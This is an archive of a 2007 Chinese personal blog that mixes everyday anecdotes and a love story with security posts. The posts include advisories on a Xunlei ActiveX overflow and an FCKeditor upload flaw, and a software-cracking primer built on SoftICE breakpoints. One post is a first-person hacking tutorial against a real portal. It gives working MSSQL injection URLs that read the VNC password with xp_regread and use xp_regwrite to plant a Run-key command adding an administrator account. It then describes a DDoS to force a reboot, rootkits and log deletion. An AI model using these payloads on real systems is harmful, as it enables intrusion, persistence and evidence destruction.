天天上下班都会坐公车,让老头老太太是常事,但今天就为一个有点报不平了,上车走了一会,边上的一人下了车,一中年妇女刚坐上去,边上一小姑娘叫,请让这位老人坐,中年妇女马上起身站了起来。我也回头看下老人在那,可这时却听到“妈”你坐这,回头一看不是老人,说不准比刚才那个站起来的女人还要年青,丫的,什么人都,这个女的一看,当然也说了一句,看我比你妈年青是不,那丫头直接说,你比我妈年青多了,哎~~~,说出来也不怕脸红,谁都有妈呀,如果起身的那个是你老妈你会怎么样,哎~~~不提了,人的素质呀,我看是越来越低了

十二月 27th, 2007

Posted In: 未分类

到了传说中的节日,下班回到家也没发现有什么变化,一切都还是老样子,做完饭炒了两个菜就吃,刚吃一口,才发现,妈呀。米饭还没熟,想什么自己都不知道,菜是吃完了,饭是倒完了,和同学聊聊天,也好久没见了,离校了个个都有MM左拥右抱的,这社会..不知道是我不适应这个社会还是这个社会不适应我,肯定是我不适应这个社会,不过网了看了一下,那么多的朋友在线,应该都和我一样,一个人或许选择网上才是最合适的,呵,希望大家玩的开心

十二月 25th, 2007

Posted In: 未分类

来源:51CTO
据相关报道,迅雷5出现严重0-Day漏洞,病毒作者可利用该漏洞编写恶意网页,当用于浏览这些网页的时候,就会感染病毒,进而该病毒可以盗窃用户的帐号和密码,从而使用户遭受到损失。

与上次的不同,这次有漏洞的程序出现在迅雷看看(Thunder KanKan)上,pplayer.dll 组件版本号:1.2.3.49,CLSID:F3E70CEA-956E-49CC-B444-73AFE593AD7F.

该组件内的一个函数FlvPlayerUrl上,存在边界检查不严格的问题,当向其传递过长参数时,会导致程序溢出。病毒作者可以利用这个缺陷,精心编写Shellcode,溢出,然后可以下载任意恶意病毒文件。
[code]




[/code]
目前的临时解决办法是在注册表中设置killbit 。
[code]Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerActiveX Compatibility{F3E70CEA-956E-49CC-B444-73AFE593AD7F}]
"Compatibility Flags"=dword:00000400
[/code]

十二月 24th, 2007

Posted In: 未分类

FCKeditor是一款非常优秀的HTML在线编辑器。在处理PHP上传的地方存在严重的安全漏洞
导致用户可以上传任意文件
在fckeditor/editor/filemanager/upload/php/upload.php 61行
[code]$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
// Check if it is an allowed type.
if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
SendResults( 1, '', '', 'Invalid type specified' ) ;

// Get the allowed and denied extensions arrays.
$arAllowed = $Config['AllowedExtensions'][$sType] ;
$arDenied = $Config['DeniedExtensions'][$sType] ;
// Check if it is an allowed extension.
if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) )
|| ( count($arDenied) > 0 && in_array( $sExtension,
$arDenied ) ) )
SendResults( '202' ) ; [/code]
程序从$_GET数组中获取Type变量,然后通过in_array进行类型判断。
但在config配置文件中
[code]$Config['ForceSingleExtension'] = true ;
$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File'] =
array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','­asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js­','reg','cgi','htaccess','asis') ;
$Config['AllowedExtensions']['Image'] =
array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image'] = array() ;
$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
$Config['DeniedExtensions']['Flash'] = array() ; [/code]
并未对Media类型进行上传文件类型的控制,导致用户上传任意文件

修补办法:更新到最新的2.5版本。或者在config.php文件中,添加对Media类型的文件类型限制

十二月 19th, 2007

Posted In: 未分类

相信大家对ASP+MSSQL注入都已经很熟悉了,连一个对SQL语法丝毫不懂的人也可以用NBSI来轻松入侵大量网站。但就算是一个SQL INJECTION高手,如果针对在MSSQL中只有db_owner角色,破不出猜不到网站后台的情况下,好像也无技可施;除了用备份得到shell的这个思路,我在网上实在没有找出更好的入侵办法。不过,备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,你还能用它吗?前不久,我就碰到了这样的一个台湾网站,管理员的密码倒是用NBSi跑了出来,可是用户名因为是繁体的原因在NBSi中成了一堆乱码。我也找到了后台,可只有干瞪眼的份。怎么办?我又扫了它的所有端口,发现开了5900,估计是管理员用了VNC对服务器进行了远程控制。这时,我就有一个思路,能不能把 VNC在注册表的加密密码读出来再来破解呢?看我表演吧!
  TELNET服务器的5900端口,得到讯息证实服务器的确用的是VNC。

  相信大家都会用读xp_regread来读注册表了,依次提交如下语句:
  http://www.something.com/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));
这样我们就成功地建了一个名为cyfd的表,并且添加了类型是char,长度为255的字段名gyfd。然后向表中加数据:
_blank>http://www.something.com/script.asp?id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread HKEY_CURRENT_USER,SoftwareORLWinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);–
从注册表中读出VNC在注册表的加密密码的值,再把值插入到刚建的表中。然后暴出VNC在注册表的加密密码:
_blank>http://www.something.com/script.asp?id=2 and 1=(select count(*) from cyfd where gyfd > 1)。
  可是结果大失我所望,gyfd的值是空的。如果这样容易的话,不会有这篇文章出现了。这是什么原因呢?我的语法不正确?翻来覆去的检查我的语句也没有发现错误呀。难道繁体的vnc在注册表里的位置不一样?后来我又开始在本机装了vnc又在分析查循器里做测试,得到的结果却是个数字5。这时czy上线了,询问了一下,他劝我把gyfd的这个字段改成二进制数据类型 binary来试一下。于是我又在本机测试了一下,依次提交如下语句:
   http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][binary](20));
http://127.0.0.1/script.asp?id=2;DECLARE @result binary(20) EXEC master.dbo.xp_regread HKEY_CURRENT_USER,SoftwareORLWinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);–
然后我再用nbsi跑出cyfd表里gyfd这个字段的值。结果到是出来了,得到了vnc的加密密码值是 0x0E3515AC00000000000000000000000000000000。可这儿还不对,我在本机装的vnc在注册表里的密码值是 hex:0e,35,15,ac,00,62,d3,08这个呀。原来binary(n)的数据存储长度是固定的,当输入的二进制长度小于n时,余下长度填0补充。我在注入语句中写入的binary(20)是足够写入vnc加密密码的长度时,为什么还有那么多0来填充呢?这是因为正好我的vnc密码是 0e3515ac0062d308,在碰到了00的情况下,xp_regread以为已经读完了它的值呢,把00当成了结束符,所以只读到了 0x0E3515AC,我晕!
  翻了一下书,终于让我找到了一个特殊的数据类型uniqueidentifier,是用来存储一个16字节长的二进制数据类型。把注入语句改造一下:
   http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][uniqueidentifier]);
   http://127.0.0.1/script.asp?id=2;DECLARE @result uniqueidentifier EXEC master.dbo.xp_regread HKEY_CURRENT_USER,SoftwareORLWinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);–
然后再用nbsi跑一下,跑出来了,不过得到的结果是AC15350E-6200-08D3-0000-000000000000。

  AC15350E-6200-08D3-0000-000000000000和我在注册表里的正确的vnc密码的值0e3515ac0062d308 相比,能看出来有什么不同吗?只不过顺序是颠倒的,相信大家都会小学的算术,这个不用我教了。试一下用cain破出vnc的密码,看看行不行。

  看样子在本机做的测试一切成功。这方法用到台湾上的站点试试,哎,依然没有跑出vnc的密码,也许繁体vnc在注册表的位置不同吧。不过,我研究了一上午,有了一点收获,就放过你吧。

续:

相信大家都看过LCX大虾写的《MSSQL db_owner角色注入直接获得系统权限》吧,小弟不自量力也写写我利用MSSQL db_owner角色注入直接获得系统权限的方法。LCX大哥大致取得系统权限的思路是利用MSSQL中xp_regread的存储过程读出vnc在注册表中的密码,然后再破解,就可以拿到管理员权限。可是在网上毕竟装vnc的服务器是少数,要是一台你很想进入的服务器不装vnc,也就是说没有5900端口,尽管这个网站存在注射漏洞,你破出管理员密码,找到后台(假设这个网站没有数据库备份和文件上传及上传漏洞)但是你却没有办法取得一个shell,只有干瞪眼的份。还好sql在提供xp_regread的时候还给我们附带拉个xp_regwrite,我就利用xp_regwrite来拿系统权限,下面是我利用xp_regwrite取得系统权限的一次经历。
http://www.***.com是一个比较大的综合门户网站,ALEXA排名在前100名,好,今天的目标就是他拉,在搞之前首先要采好点,呵呵,也就是要找到注射点,这个是我们今天入侵的基础。在主页上看拉看,全部是静态网页,不存在注射的可能,可能你会说他可能是后台生成htm(开始偶也是这么认为,可是进去之后才知道原来根本不是),再源文件里找拉找也没有asp?的踪影,好看看其他的吧,恩,没费多少时间在他的动漫网中找到拉一个注射点,呵呵,开始抄家伙,恩,没费多大径就用NBSI2暴出拉管理员的密码,管理后台以及找到拉网站的绝对路径,本来以为接下来想要一个webshell应该很容易,谁知道要比我想的难得多,没有上传漏洞也就算拉,竟然连数据库备份的功能也没有,把asp木马改成后缀为jpg,gif上传竟然也没法上传成功,我倒,难道就这样放弃拉,我可不是那种轻言放弃的人,不过暂时我也没有什么好的办法,明天还要上课,只好暂时放弃。
第二天,我连上课心情都没有,满脑子里想的全是怎么拿到webshell或系统权限。好不容易等到下课,赶紧跑道计算机室里上网找找有没有关于这方面的资料,呵呵,黄天不负有心人终于让偶给找到拉一篇CZY大虾写的《How to execute system command in MSSQL》里面详述拉怎么获得管理员权限的方法,可是我的情况和czy文章里的情况略有不同,那个网站连接数据库的用户没有服务器sysadmin权限,只有数据库db_owner的权限,好多存储过程不好用,不过还好xp_regread和xp_regwrite好利用,这两个只要db_owner就好运行。好,说干就干,赶紧打开网站在注射点输入xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE MicrosoftWindowscurrentversionrun','xwq1','REG_SZ','net user xwq xwq /add'
呵呵,返回一个正常页面,说明成功完成拉,再在注射点输入
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE MicrosoftWindowscurrentversionrun','xwq2','REG_SZ','net localgroup administrators xwq /add'
好,只要让服务器重起,就会在系统中加上xwq这个管理员帐号,至于怎么让他重起,就要看各位的能耐拉,我可是迫不及待拉,赶紧ddos,过没多久,服务器就重起拉,马上用远程桌面连接连上去(呵呵,可能管理员觉得3389比较好把),输入xwq,xwq,yeah!!!进去拉,好拉接下来的事么就是留个后门rootkit+dll插入木马+asp,删除日志,克隆帐号,删除xwq这个帐号,闪人。

后记,其实直接加管理员帐号的作法,很冒险,要是管理员就在电脑旁边,他肯定回起疑心,反而暴露自己的行踪,呵呵,看你运气拉。你也可以在知道网站的绝对路径之后再利用xp_regwrite在HKEY_LOCAL_MACHINESOFTWARE MicrosoftWindowscurrentversionrun里写上一句话木马,在用asp木马提权

十二月 11th, 2007

Posted In: 未分类

1. 断点:

所谓断点就是程序被中断的地方,这个词对于解密者来说是再熟悉不过了。那么什么又是中断呢?中断就是由于有特殊事件(中断事件)发生,计算机暂停当前的任务(即程序),转而去执行另外的任务(中断服务程序),然后再返回原先的任务继续执行。

打个比方:你正在上班,突然有同学打电话告诉你他从外地坐火车过来,要你去火车站接他。然后你就向老板临时请假,赶往火车站去接同学,接着将他安顿好,随后你又返回公司继续上班,这就是一个中断过程。我们解密的过程就是等到程序去获取我们输入的注册码并准备和正确的注册码相比较的时候将它中断下来,然后我们通过分析程序,找到正确的注册码。

所以我们需要为被解密的程序设置断点,在适当的时候切入程序内部,追踪到程序的注册码,从而达到crack的目的。

2. 领空:

这是个非常重要的概念,但是也初学者是常常不明白的地方。我们在各种各样的破解文章里都能看到领空这个词,如果你搞不清楚到底程序的领空在哪里,那么你就不可能进入破解的大门。或许你也曾破解过某些软件,但那只是瞎猫碰到死老鼠而已(以前我就是这样的^_^,现在说起来都不好意思喔!)。所谓程序的领空,说白了就是程序自己的地方,也就是我们要破解的程序自己程序码所处的位置。

也许你马上会问:我是在程序运行的时候设置的断点,为什么中断后不是在程序自己的空间呢?因为每个程序的编写都没有固定的模式,所以我们要在想要切入程序的时候中断程序,就必须不依赖具体的程序设置断点,也就是我们设置的断点应该是每个程序都会用到的东西。在DOS时代,基本上所有的程序都是工作在中断程序之上的,即几乎所有的DOS程序都会去调用各种中断来完成任务。但是到了WINDOWS时代,程序没有权力直接调用中断,WINDOWS系统提供了一个系统功能调用平台(API),就向DOS程序以中断程序为基础一样,WINDOWS程序以API为基础来实现和系统打交道,从而各种功能,所以WINDWOS下的软件破解其断点设置是以API函数为基础的,即当程序调用某个API函数时中断其正常运行,然后进行解密。

例如在SOFTICE中设置下面的断点:bpx GetDlgItemText(获取对话框文本),当我们要破解的程序要读取输入的数据而调用GetDlgItemText时,立即被SOFTICE拦截到,从而被破解的程序停留在GetDlgItemText的程序区,而GetDlgItemText是处于WINDWOS自己管理的系统区域,如果我们擅自改掉这部分的程序代码,那就大祸临头了^_^!所以我们要从系统区域返回到被破解程序自己的地方(即程序的领空),才能对程序进行破解,至于怎样看程序的领空请看前面的SOFTICE图解。

试想一下:对于每个程序都会调用的程序段,我们可能从那里找到什么有用的东西吗?(怎么样去加密是程序自己决定的,而不是调用系统功能实现的!)

3. API:
即Application Programming Interface的简写,中文叫应用程序编程接口,是一个系统定义函数的大集合,它提供了访问操作系统特征的方法。 API包含了几百个应用程序调用的函数,这些函数执行所有必须的与操作系统相关的操作,如内存分配、向屏幕输出和创建窗口等,用户的程序通过调用API接口同WINDOWS打交道,无论什么样的应用程序,其底层最终都是通过调用各种API函数来实现各种功能的。

通常API有两中基本形式:Win16和Win32。 Win16是原来的、API的16位版本,用于Windows 3.1;Win32是现在的、API的32位版本,用于Windows 95/98/NT/ME/2000。Win32包括了Win16,是Win16的超集,大多数函数的名字、用法都是相同的。16位的API函数和32位的API函数的区别在于最后的一个字母,例如我们设置这样的断点:bpx GetDlgItemText、bpx GetDlgItemTextA和bpx GetDlgItemTextW,其中 GetDlgItemText是16位API函数,GetDlgItemTextA和GetDlgItemTextW是32位API函数,而GetDlgItemTextA表示函数使用单字节,GetDlgItemTextW表示函数使用双字节。

现在我们破解中常用到的是Win32单字节API函数,就是和GetDlgItemTextA类似的函数,其它的两种(Win16 API和Win32双字节API函数)则比较少见。 Win32 API函数包含在动态链接库(Dynamic Link Libraries,简称DLLs)中,即包含在kernel32.dll、user32.dll、gdi32.dll和comctl32.dll中,这就是为什么我们要在softice中用exp=C:windowssystemkernel32.dll等命令行将这些动态链接库导入softice中的原因。因为不这样做的话,我们就无法拦截到系统Win32 API函数调用了。

4. 关于程序中注册码的存在方式:

破解过程中我们都会去找程序中将输入的注册码和正确的注册码相比较的地方,然后通过对程序的跟踪、分析找到正确的注册码。

但是正确的注册码通常在程序中以两种形态存在:显式的和隐式的,对于显式存在的注册码,我们可以直接在程序所处的内存中看到它,例如你可以直接在SOFTICE的数据窗口中看到类似"297500523"这样存在的注册码(这里是随意写的),对于注册码显式存在的软件破解起来比较容易;但是有些软件的程序中并不会直接将我们输入的注册码和正确的注册码进行比较,比如有可能将注册码换算成整数、或是将注册码拆开,然后将每一位注册码分开在不同的地方逐一进行比较,或者是将我们输入的注册码进行某种变换,再用某个特殊的程序进行验证等等。

总之,应用程序会采取各种不同的复杂运算方式来回避直接的注册码比较,对于这类程序,我们通常要下功夫去仔细跟踪、分析每个程序功能,找到加密算法,然后才能破解它,当然这需要一定的8086汇编编程功底和很大的耐心与精力。

5. 关于软件的破解方式:

本人将破解方式分为两大类,即完全破解和暴力破解。所谓完全破解主要是针对那些需要输入注册码或密码等软件来说的,如果我们能通过对程序的跟踪找到正确的注册码,通过软件本身的注册功能正常注册了软件,这样的破解称之为完全破解;但如果有些软件本身没有提供注册功能,只是提供试用(DEMO),或是注册不能通过软件本身进行(例如需要获取另外一个专用的注册程序,通过INTERNET的注册等等),或者是软件本身的加密技术比较复杂,软件破解者的能力、精力、时间有限,不能直接得到正确的注册码,此时我们需要去修改软件本身的程序码。

6. 关于破解教程中程序代码地址问题:

破解教程中都会放上一部分程序代码以帮助讲解程序的分析方法,例如下面的一段程序代码:
……
0167:00408033 PUSH 00
0167:00408035 PUSH EBX
0167:00408036 CALL [USER32!EndDialog]
0167:0040803C JMP 0040812C
……
在这里程序中的代码地址如0167:00408033,其代码段的值(即0167)有可能根据不同的电脑会有区别,不一定一模一样,但偏移值应该是固定的(即00408033不变),所以如果看到破解文章里的程序代码的地址值和自己的电脑里不一样,不要以为搞错地方了,只要你的程序代码正确就不会有问题。

十二月 5th, 2007

Posted In: 未分类

跟很多普通的故事一样,我是个特困生,是村子里唯一的大学生,学校其实很一般,不过是本科,而且我的高考成绩是全县第一,爷爷说这就是状元啊,他坚持要摆酒席,要请客,我们那么穷的家,终于看到希望了,终于有人要到北京点击查看北京及更多城市天气预报去念书了。

但是,他们不知道我在城里同学面前是多么自卑,不知道我是怎样费尽心血去学普通话,练英文,他们甚至不知道学费我是怎么一年年交上的,有次我无意间说起自己每个月家教可以赚500元的时候,父亲第一次冲我发了脾气,他觉得我赚了那么多钱还不知道孝敬老人,不知道寄家回家给弟弟交学费,太不懂事了。我的生活可以说很黑暗,一直念书、上课、考试、赚钱,同学说我是守财奴,只要有兼职的机会都过来找我,半开玩笑地说:嘿,听说你只要能赚钱什么都肯做。我只有装做不在乎:是啊,我都肯。

这样拼命赚的钱,一半给自己交学费,一半给家里,供弟弟妹妹念书。家乡说起我来都是很神化的:多么有出息,不但能供自己还能供弟弟妹妹。弟弟妹妹写信给我,总是会说:哥,我也要去北京念大学!他们不知道我的苦,我也不愿意让任何人看到我的苦,除了她。她是我下一届的学妹,迎新的时候我接的她,帮着拿行李,找床位。她一定要请我吃饭,我就吃了,吃完后我付了帐,又带着她在学校里走了一圈,帮她认路。后来她说,那时候就开始喜欢我了,高高瘦瘦的,特别沉默,有很多心事似的,别人都说她是小美女,可是我连多一眼都没看她。

是啊,那时候我正在想,付了帐后我这一周的伙食费怎么办。我没想过找女朋友,更别说像她这样时髦漂亮的城市女孩子了。结果她经常找我,到我们班上旁听,向别人打听我的事情。我特别感动的是,我生日那天,她买了蛋糕,在学校门口等我,我去做家教了,晚上10点才回来,她等了我6个小时,在冬天的冷风里。从小到大,没有人对我这么好过,我接过她手里的蛋糕,把她的手握在我的手心里,给她暖着。

她说我知道你压力很大,不要怕,我们一起来分担好不好?她真是天真啊,那时的我也真是天真啊。被爱情迷住了眼睛的人,什么事情都能够做出来,什么话都能说出来。 我们在学校附近找了小房子,住在一起。我已经确定保送上研了,给她买了很多书,让她考研。每天一起上课,听讲座,去食堂吃饭,晚上我出去工作,她就在家里等我。

她买减价的水果,一个个削了皮,切成一块块给我吃,她还第一次学会用蜂窝煤炉子做饭……我知道她是那么爱我,我也是全心全意地对她。都说恋爱最花钱,但是我没有多花什么钱,还给家里多寄了三百块,她说是给我妹妹买新衣服的,我们这一个月可以吃最便宜的菜。她跟家里说起了我,父母都要求见一见。我做好了充分的心理准备,还是被他们家吓了一跳。

她家住的是那种特别高档的复式房子,装修非常豪华。她妈妈说因为她是独女,希望结婚后也住在一起。她爸爸一直都皱着眉,看着我破旧的牛仔裤和旧衬衫。我觉得这个贫富的对比太像电影或者小说里的镜头了,实在让人无法接受。我无法忘记她爸爸跟我说的一句话:我家楠楠从小没吃过一点苦,没受过一点委屈,这是我们父母的本分。小伙子,你能做到吗?我没有答,我知道我做不到。

同时我也知道了她为了跟我在一起,牺牲有多大。不住好房子不住宿舍,跟着我挤小平房,好衣服不穿,长年穿运动服。过去有那家饭店新开张,她爸爸一定开车带全家去吃,现在她跟着我吃水煮白菜。她把生活费省下来,帮我交学费。

这一切就是我所能给她的,一个贫穷的爱人所能给她的,就这么多,却要求她无休止地付出,从时间到物质。她说:爱你就不觉得苦。但是我心痛啊,是真的心痛,好象整个人都要被撕裂一样的痛。

我的出身我不能选择,但是她为什么要选择我,选择这样沉重的担子。 果然,结果她家里是不同意的。她妈妈还问她与我同居是不是我使了什么卑鄙的手段。我不能不说,她父母也真是一番苦心,表面上不拆散我们,实际上却不断鼓励她出国留学。她还高高兴兴地跟我说:咱们一起申请吧,我们到国外去念书。我笑了,说好啊。

我没告诉她,我弟弟高考失利了,要复读一年,我妹妹正上高三。我找了更多的工作,说服她各自搬回宿舍住,故意一天天地疏远她,又不让她觉察。因为她的个性就是那么明朗活泼的,也有点粗心,根本不知道我其实已经有了分手的念头。 我强迫她背单词,我们在一起的时间大部分都是在学英语,她说我觉得你好象对我没那么好了,我说没有,让你好好学习才是对你好,你不是要出去留学吗?

一直等到她考完GRE,我帮她发简历,发资料,写申请,忙得比她自己还上心。她开始越来越犹豫,问你呢?你怎么办,我说我容易,我当过枪手替考都考得不错,你怕什么。在说这些话的时候,我不看她,因为我的眼睛会泄露真相。

终于等到OFFER了,终于我松了一口气,我电话了她妈妈:阿姨,楠楠可以留学去了,你们放心吧。她妈妈很迟疑地问你不跟过去吗?我说我不会去的,我有家人需要照顾,我真心希望楠楠一生幸福,可惜我做不到,所以我也绝不连累她。她妈妈在电话那边哭了,说你是个好孩子,能体谅父母的心。我说我明白,我不怨你们,真的。

穷男生不该有爱情,我跟她说分手吧,我配不上你,是我不够好,我不忍心让你跟我一起吃苦。我上有父母爷爷奶奶,下有弟弟妹妹还等着念书,我起码要多辛苦10年,才能让全家人过上好日子,我爱你,所以我不应该跟你在一起,我们一开始就错了,对不起,我希望你能忘记我。她哭成泪人,打我,咬我,踢我,我不还手,但是也不劝她。

长痛不如短痛,到国外去吧,我爱的姑娘,会有更好的人更好的爱情给你补偿,我不想让你在最美好的年华里,不能尽情享受人生,而且是因为我的缘故。我是个穷人,给你的东西,与你应该得到的,相差太远太远了。我不愿意我们变成象博士师兄们那样的家庭,两夫妻咬牙供养其中一方的老家,矛盾不断。就这么结束吧,相信我我比你更疼痛,因为我不得不伤害你,不得不离开你,我最爱的人。

她走了,生活还在继续。有时候我会来网上看些爱情故事,每个痴情的女主角,都那么像她。我想在这里对她说完这段话:如果10年以后我自由了,我会先去找你,只想远远地看你一眼,你幸福的话我绝不打扰你,你要是还没有找到合适的,那么,让我再说一次我爱你

我们保证大家将有所付出,有所收获,得到优厚待遇!
我们也期待您尽职尽责、学有所成、共同成长~

十二月 4th, 2007

Posted In: 未分类

无觅相关文章插件,快速提升流量